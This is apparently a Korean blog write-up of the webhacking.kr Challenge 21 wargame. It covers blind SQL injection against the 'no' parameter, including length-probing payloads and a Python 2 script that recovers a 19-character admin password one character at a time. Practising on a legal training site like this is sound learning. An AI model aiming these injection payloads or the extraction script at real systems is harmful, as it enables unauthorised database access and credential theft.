늘모자란, 개발 :: [webhacking.kr] Challenge 21

늘모자란, 개발



이름부터 blind sql injection이라고 대문만하게 쓰여있다. 안그래도 잘 보여..

값을 0,1,2,3... 순서대로 넣어봤다. 문제 풀이와는 상관없고 그냥 넣어봤다.
0- No result
1- True
2- True
3~ False

왜 1과 2는 True인데 3부터는 false인가? 무엇이란말이지..
URL을보니까 no, id, pw를 받고 있긴했다. 소스상에도 hidden값으로 id, pw가 들어가 있긴했는데 인자는 no밖에 없고..
어쨌든 no가 T/F를 주니까 이녀석으로 알아내보도록 하자.

처음엔 길이를 알아내보자.

1 and length(id)={}
2 and length(id)={}

를 no의 파라미터에 준다. {} 는 숫자를... 값이 5일때 True가 나온다. 3부터는 뭘해도 False가 나온다.
즉, 앞서 1,2는 존재하는 row번호였다. 너무 찍어맞춘 기분이 있지만 -_- 문제는 문제일뿐이니까...?

다음으로 pw 길이로 알아보자

1 and length(pw)={}
2 and length(pw)={}


1일경우 5
2일경우 19

정답은 안봐도 2겠지만 역시 두개 다 해보기로 한다.

여지껏 많이 해왔던 한자리식 끊어서 보내기를 할 차례가 왔다
코드를 짜보자. 이제는 익숙해질것만 같은 똑같은 코드...

#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import urllib, urllib2, re
 
sess = ""

headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess)
          }
pw = ''
for i in range(1,21):
    for j in range(32,123):
        url = 'http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=1+and+substr(pw,{},1)in({})&id=&pw='.format(i,hex(j))
        print url

        req = urllib2.Request(url, '', headers)
        response = urllib2.urlopen(req).read()
        #print response

        if ("True" in response):
            pw = pw + chr(j)
            print chr(j)
            break
print pw


id부터 알아내는 과정을 거치면 되는데 이건 어련히 잘하리라 생각한다.

1번은 guest 아이디, 2번은 admin 아이디이다.
모두가 궁금할지도 모르겠지만 1번 row는 guest/guest니까 해보지 말고 그냥 19자리 풀길바란다.
auth에 19자리를 넣어주면 클리어!

2016/03/29 13:18 2016/03/29 13:18